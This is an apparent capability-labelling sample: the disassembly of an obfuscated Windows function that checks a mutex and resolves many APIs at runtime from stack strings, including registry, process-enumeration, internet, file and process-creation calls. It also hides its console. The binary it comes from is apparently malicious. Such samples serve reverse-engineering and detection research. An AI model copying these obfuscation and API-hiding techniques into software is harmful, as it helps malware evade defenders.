Function at 0x140028c30
Capabilities:
Check mutex on windows
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1f0], xmm15
movaps xmmword [rbp + 0x1e0], xmm14
movaps xmmword [rbp + 0x1d0], xmm13
movaps xmmword [rbp + 0x1c0], xmm12
movaps xmmword [rbp + 0x1b0], xmm11
movaps xmmword [rbp + 0x1a0], xmm10
movaps xmmword [rbp + 0x190], xmm9
movaps xmmword [rbp + 0x180], xmm8
movaps xmmword [rbp + 0x170], xmm7
movaps xmmword [rbp + 0x160], xmm6
mov rax, qword [0x1400630a8]
xor rax, rbp
mov qword [rbp + 0x158], rax
mov ecx, dword [0x140070bf8]
mov r8d, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xc6232933
and ecx, edx
and edx, 0x39dcd6cc
or edx, ebx
mov ebx, edx
xor ebx, 0x101406c8
xor edx, 0xc6232933
mov edi, ecx
not edi
mov esi, edx
and esi, 0xa9eaf934
and ebx, 0x561506cb
or ebx, esi
or edx, edi
and edi, 0xa9eaf934
and ecx, 0x561506cb
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov edi, edx
or edi, 0xb46bdda3
mov esi, edi
not esi
mov eax, ecx
or eax, 0x4b94225c
mov ebx, eax
not ebx
and edi, 0xebccfb73
and esi, 0x10000c
or esi, edi
and eax, 0xebccfb73
and ebx, 0x14230480
or ebx, eax
xor ebx, esi
mov eax, ebx
not eax
and eax, 0xb46bdda2
and ebx, 0x4b94225d
or ebx, eax
and edx, 0x101e32a1
mov eax, ecx
and eax, 0xefe1cd5e
or eax, edx
xor eax, 0x101e32a0
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x135e2fb4
and eax, ecx
and ecx, 0xeca1d04b
or ecx, edx
xor ecx, 0xeca1d04b
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x46c3dcca
and eax, 0xb93c2335
or eax, ecx
mov ecx, eax
xor ecx, 0x681cc88
xor eax, 0x802c0135
and eax, 0xc06e1177
and ecx, 0x3f91ee88
or ecx, eax
xor ecx, 0x3f91ee88
sete byte [rbp + 0xe]
cmp r8d, 0xa
setl byte [rbp + 0xf]
mov eax, 0xdd0d381b
lea r14, [0x140069680]
xorps xmm6, xmm6
movaps xmm8, xmmword [0x140056880]
movaps xmm9, xmmword [0x140056890]
movaps xmm10, xmmword [0x1400568a0]
movaps xmm11, xmmword [0x1400568b0]
movaps xmm12, xmmword [0x1400568c0]
movaps xmm13, xmmword [0x1400568d0]
movaps xmm14, xmmword [0x1400568e0]
movaps xmm7, xmmword [0x1400568f0]
movaps xmm15, xmmword [0x140056920]
nop
cmp eax, 0xe50268bb
jg 0x140028eb0
cmp eax, 0xbb932789
jg 0x140029060
cmp eax, 0x9071a340
jle 0x1400293bf
cmp eax, 0x9b5d80ff
jg 0x140029fba
cmp eax, 0x9071a341
je 0x14002b143
cmp eax, 0x947349f1
je 0x14002c840
cmp eax, 0x954fb287
jne 0x140028e30
mov rax, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov ecx, 0x3e8
mov rdx, rsi
call qword [0x140070bc0]
add rsp, 0x20
mov eax, 0xd600637e
cmp eax, 0xe50268bb
jle 0x140028e37
nop
cmp eax, 0x29778145
jle 0x140029170
cmp eax, 0x5e8fedb9
jg 0x14002938e
cmp eax, 0x555cf70b
jg 0x140029ff0
cmp eax, 0x29778146
je 0x14002b158
cmp eax, 0x2ded82bc
je 0x14002b16e
cmp eax, 0x332635af
jne 0x140028e30
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x20e00108
and ebx, 0x8812e281
or ebx, edx
mov edi, ebx
xor edi, 0x800c081
xor ebx, 0x71040c76
or ecx, 0xa8f2e389
mov edx, ecx
not edx
and ebx, 0xf1162e76
and edi, 0x8e0c189
or edi, ebx
and ecx, 0xf1162e76
and edx, 0x6091000
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x757b266c
and edx, 0x8a84d993
or edx, ecx
mov ebx, edx
xor ebx, 0x2661202
xor edx, 0xdd89c5e5
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xb4982938
and ebx, 0x4b67d6c7
or ebx, edx
mov edx, ebx
xor edx, 0x96510c2
xor ebx, 0xb4982939
mov esi, ecx
and esi, 0x629ae61d
and edi, 0x9d6519e2
or edi, esi
or ecx, ebx
and ebx, 0x629ae61d
and edx, 0x9d6519e2
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfb0d6e29
and edx, 0x4f291d6
or edx, ecx
mov ecx, edx
xor ecx, 0x8016c01
xor edx, 0x4f291d6
mov ebx, edx
and ebx, 0xf37c93aa
and ecx, 0xc836c55
or ecx, ebx
xor ecx, 0xf37c93aa
xor edx, ecx
test edx, ecx
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
and al, dl
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and bl, cl
or cl, al
and al, r8b
or al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xd600637e
mov ebx, 0x954fb287
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0xd600637e
cmovne eax, ebx
jmp 0x14002ac39
cmp eax, 0xd5533675
jle 0x140029f48
cmp eax, 0xe0601163
jg 0x14002a029
cmp eax, 0xd5533676
je 0x14002b27d
cmp eax, 0xd600637e
je 0x14002c8ad
cmp eax, 0xdd0d381b
jne 0x140028e30
mov r8b, byte [rbp + 0xe]
mov r9b, byte [rbp + 0xf]
mov ecx, r9d
xor cl, 1
mov ebx, ecx
and bl, r9b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r11d, r8d
xor r11b, bl
mov r10d, ebx
xor r10b, 1
or bl, r10b
mov eax, ebx
xor al, 1
mov edx, eax
or al, r9b
and r9b, bl
and dl, cl
or dl, r9b
xor bl, cl
xor al, 1
or al, bl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, r8b
and dl, bl
and bl, r8b
xor dl, 1
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
or r10b, r8b
xor r10b, 1
xor r11b, 1
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov eax, r11d
xor al, 1
mov ecx, eax
and cl, r11b
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor cl, 1
and cl, bl
xor bl, 1
and al, bl
or cl, al
mov eax, ebx
and al, r11b
xor bl, r11b
or bl, al
mov edx, ebx
xor dl, cl
test bl, 1
mov eax, 0x8faac017
mov ebx, 0xe65453c2
cmovne eax, ebx
test cl, 1
cmove eax, ebx
not dl
test dl, 1
mov ecx, 0x8faac017
jmp 0x14002ca48
cmp eax, 0xf4fbba7c
jle 0x140029f79
cmp eax, 0x236b84ca
jg 0x14002aa7a
cmp eax, 0xf4fbba7d
je 0x14002b292
cmp eax, 0x193b66e
je 0x14002b305
cmp eax, 0x47179ec
jne 0x140028e30
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14005d0d1]
call fcn.14003c8b0
add rsp, 0x20
lea rsi, [rax + 0xe]
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rdi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x3e8
mov rcx, rdi
mov rdx, rsi
call fcn.14000b3a0
mov rcx, rdi
call fcn.140027260
add rsp, 0x20
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x7e1f7dfa
and edx, 0x81e08205
or edx, ecx
mov edi, edx
xor edi, 0x84918
or ebx, 0x841b7bdc
mov ecx, ebx
not ecx
or edi, 0x79448423
and edi, 0xf94ccf3f
and edx, 0x41330c0
or edx, edi
and ebx, 0xf94ccf3f
and ecx, 0x2a00000
or ecx, ebx
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x7be48423
and ecx, 0x841b7bdc
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edi, ebx
or edi, 0xe4cd1637
mov edx, edi
not edx
or ecx, 0x10302808
and ecx, 0x70fc3a18
and ebx, 0x84010427
or ebx, ecx
and edi, 0x70fc3a18
and edx, 0xb02c1c0
or edx, edi
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x1b32e9c8
and edx, 0xe4cd1637
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8d9ee2bc
and edx, 0x72611d43
or edx, ecx
mov ecx, edx
xor ecx, 0x10610141
xor edx, 0x841a0008
and edx, 0xe61a1c0a
and ecx, 0x19e5e3f5
or ecx, edx
mov edx, ecx
xor edx, 0x64021808
xor ecx, 0x118580b4
and ecx, 0x939d84b6
and edx, 0x6c627b49
or edx, ecx
xor edx, 0x6c627b49
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and bl, r8b
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xf133f6ae
mov eax, 0x947349f1
cmovne edx, eax
test bl, bl
mov eax, 0xf133f6ae
cmovne eax, edx
test cl, cl
jmp 0x14002ca11
cmp eax, 0x6f151a83
jle 0x14002ac4f
cmp eax, 0x6f151a84
je 0x14002ca5b
cmp eax, 0x7332f966
je 0x14002b497
cmp eax, 0x7649beb7
jne 0x140028e30
jmp 0x140029fa5
cmp eax, 0x8af38d07
jle 0x14002ad72
cmp eax, 0x8af38d08
je 0x14002b57d
cmp eax, 0x8b791694
je 0x14002b593
cmp eax, 0x8faac017
jne 0x140028e30
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x80], rsp
mov eax, 0x20
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x7530
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x3aa0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x2710
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x7d0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
sub rsp, 0x20
lea rcx, str.kernel32.dll
mov r14, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call r14
add rsp, 0x20
mov qword [0x140063b08], rax
sub rsp, 0x20
lea rcx, str.advapi32.dll
call r14
add rsp, 0x20
mov qword [0x140063b10], rax
sub rsp, 0x20
lea rcx, str.wininet.dll
call r14
add rsp, 0x20
mov qword [0x140063b18], rax
sub rsp, 0x20
lea rcx, str.user32.dll
call r14
add rsp, 0x20
mov qword [0x140063b20], rax
sub rsp, 0x20
lea rcx, str.gdi32.dll
call r14
add rsp, 0x20
mov qword [0x140063b28], rax
sub rsp, 0x20
lea rcx, str.ole32.dll
call r14
add rsp, 0x20
mov qword [0x140063b30], rax
mov qword [rbp + 0x70], rsi
mov rax, qword [rbp + 0x70]
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movaps xmmword [rsi], xmm8
mov rcx, qword [0x140063b08]
sub rsp, 0x20
mov rdx, rsi
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
add rsp, 0x20
mov qword [0x140069120], rax
mov qword [rbp + 0x78], rdi
mov rax, qword [rbp + 0x78]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movabs rax, 0x4e72657355746547
mov qword [rdi], rax
mov dword [rdi + 8], 0x57656d61
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, rdi
call rsi
add rsp, 0x20
mov qword [0x140069638], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x6156746547676552
mov qword [r15], rax
mov dword [r15 + 8], 0x5765756c
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r15
call rsi
add rsp, 0x20
mov qword [0x140069338], rax
mov qword [rbp + 0x88], r13
mov rax, qword [rbp + 0x88]
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x7461657243676552
mov qword [r13], rax
mov dword [r13 + 8], 0x79654b65
mov byte [r13 + 0xc], 0x57
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r13
call rsi
add rsp, 0x20
mov qword [0x140069640], rax
mov qword [rbp + 0x90], r12
mov rax, qword [rbp + 0x90]
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x654b746553676552
mov qword [r12], rax
mov dword [r12 + 8], 0x6c615679
mov word [r12 + 0xc], 0x6575
mov byte [r12 + 0xe], 0x57
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r12
call rsi
add rsp, 0x20
mov qword [0x1400640f0], rax
mov qword [rbp + 0x98], rbx
mov rax, qword [rbp + 0x98]
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movabs rax, 0x65736f6c43676552
mov qword [rbx], rax
mov word [rbx + 8], 0x654b
mov byte [rbx + 0xa], 0x79
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, rbx
call rsi
add rsp, 0x20
mov qword [0x1400640f8], rax
mov rdx, qword [rbp]
mov qword [rbp + 0xa0], rdx
mov rax, qword [rbp + 0xa0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm9
movabs rax, 0x746f687370616e53
mov qword [rdx + 0x10], rax
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140069648], rax
mov rdx, qword [rbp - 8]
mov qword [rbp + 0xa8], rdx
mov rax, qword [rbp + 0xa8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x33737365636f7250
mov rdi, rax
mov qword [rdx], rax
mov dword [rdx + 8], 0x72694632
mov word [rdx + 0xc], 0x7473
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070c00], rax
mov rdx, qword [rbp - 0x10]
mov qword [rbp + 0xb0], rdx
mov rax, qword [rbp + 0xb0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6e614865736f6c43
mov qword [rdx], rax
mov word [rdx + 8], 0x6c64
mov byte [rdx + 0xa], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
lea r14, [0x140069680]
call rsi
add rsp, 0x20
mov qword [0x140064028], rax
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0xb8], rdx
mov rax, qword [rbp + 0xb8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov qword [rdx], rdi
mov dword [rdx + 8], 0x78654e32
mov byte [rdx + 0xc], 0x74
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070c08], rax
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0xc0], rdx
mov rax, qword [rbp + 0xc0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140069428], rax
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0xc8], rdx
mov rax, qword [rbp + 0xc8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x74656e7265746e49
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e65704f
mov byte [rdx + 0xc], 0x57
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140063bb8], rax
mov rdx, qword [rbp - 0x30]
mov qword [rbp + 0xd0], rdx
mov rax, qword [rbp + 0xd0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm11
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140064008], rax
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0xd8], rdx
mov rax, qword [rbp + 0xd8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm12
mov word [rdx + 0x10], 0x6c64
mov byte [rdx + 0x12], 0x65
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140063bd0], rax
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0xe0], rdx
mov rax, qword [rbp + 0xe0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x50706d6554746547
mov qword [rdx], rax
mov dword [rdx + 8], 0x57687461
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070bc0], rax
mov rdx, qword [rbp - 0x48]
mov qword [rbp + 0xe8], rdx
mov rax, qword [rbp + 0xe8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6946657461657243
mov qword [rdx], rax
mov word [rdx + 8], 0x656c
mov byte [rdx + 0xa], 0x57
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140064020], rax
mov rdx, qword [rbp - 0x50]
mov qword [rbp + 0xf0], rdx
mov rax, qword [rbp + 0xf0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x656c694664616552
mov qword [rdx], rax
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140064018], rax
mov rdx, qword [rbp - 0x58]
mov qword [rbp + 0xf8], rdx
mov rax, qword [rbp + 0xf8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm13
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140063c08], rax
mov rdx, qword [rbp - 0x60]
mov qword [rbp + 0x100], rdx
mov rax, qword [rbp + 0x100]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm14
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140063bc0], rax
mov rdx, qword [rbp - 0x68]
mov qword [rbp + 0x108], rdx
mov rax, qword [rbp + 0x108]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm7
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140063c10], rax
mov rdx, qword [rbp - 0x70]
mov qword [rbp + 0x110], rdx
mov rax, qword [rbp + 0x110]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x7250657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x7365636f
mov word [rdx + 0xc], 0x5773
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070bd8], rax
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x118], rdx
mov rax, qword [rbp + 0x118]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6c69466574697257
mov qword [rdx], rax
mov byte [rdx + 8], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070bc8], rax
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x120], rdx
mov rax, qword [rbp + 0x120]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6854657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x64616572
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov qword [0x140070bf0], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeConsole]
add rsp, 0x20
test eax, eax
setne byte [rbp + 0x12e]
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0xe5fe832b
mov edi, edx
and edi, ecx
and edx, ebx
mov ebx, edi
and ebx, edx
xor edx, edi
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xe5fe832a
and edx, 0x1a017cd5
or edx, ebx
mov ebx, ecx
and ebx, 1
xor ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x47c41e01
and ecx, 0xb83be1fe
or ecx, ebx
xor ecx, 0xb83be1fe
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x956517c4
and ebx, 0x6a9ae83b
or ebx, esi
or ecx, edi
and edi, 0x956517c4
and edx, 0x6a9ae83b
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb76757f3
and ecx, 0x4898a80c
or ecx, edx
mov edx, ecx
xor edx, 0x8802804
xor ecx, 0xa6030081
and ecx, 0xe61b8089
and edx, 0x19e47f76
or edx, ecx
xor edx, 0xe61b8089
cmp edx, 0xffffffff
sete dl
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, r8d
and r8b, cl
and cl, al
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
and dl, al
or r8b, dl
mov ebx, ecx
xor bl, 1
mov eax, r8d
xor al, 1
mov edx, eax
mov r9d, ebx
mov r10d, eax
mov r11d, ebx
and r11b, al
xor al, bl
and bl, cl
xor r9b, bl
xor bl, 1
or bl, cl
and dl, r8b
xor bl, 1
or bl, r9b
xor r10b, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r10b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
or al, r11b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe1fb3f0b
mov ebx, 0xe65453c2
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xe1fb3f0b
jmp 0x14002c82d
cmp eax, 0xc82396d7
jle 0x14002af6e
cmp eax, 0xc82396d8
je 0x14002b6b5
cmp eax, 0xcfe19213
je 0x14002b7d7
cmp eax, 0xd2551416
jne 0x140028e30
jmp 0x14002b12e
cmp eax, 0xe6138565
jle 0x14002b0d4
cmp eax, 0xe6138566
je 0x14002b7fa
cmp eax, 0xe65453c2
je 0x14002b816
cmp eax, 0xf133f6ae
jne 0x140028e30
mov eax, 0x5e03e358
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp eax, 0x9b5d8100
je 0x14002bfea
cmp eax, 0xb13c8b89
je 0x14002ca24
cmp eax, 0xba77310b
jne 0x140028e30
mov eax, 0x7332f966
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp eax, 0x555cf70c
je 0x14002c0f6
cmp eax, 0x55d29ba7
je 0x14002c280
cmp eax, 0x5e03e358
jne 0x140028e30
sub rsp, 0x20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
jmp 0x14002aa65
cmp eax, 0xe0601164
je 0x14002c295
cmp eax, 0xe1fb3f0b
je 0x14002ca37
cmp eax, 0xe43421f5
jne 0x140028e30
movups xmmword [0x14006952a], xmm6
movaps xmmword [0x140069520], xmm6
movaps xmmword [0x140069510], xmm6
movaps xmmword [0x140069500], xmm6
movaps xmmword [0x1400694f0], xmm6
movaps xmmword [0x1400694e0], xmm6
movaps xmmword [0x1400694d0], xmm6
movaps xmmword [0x1400694c0], xmm6
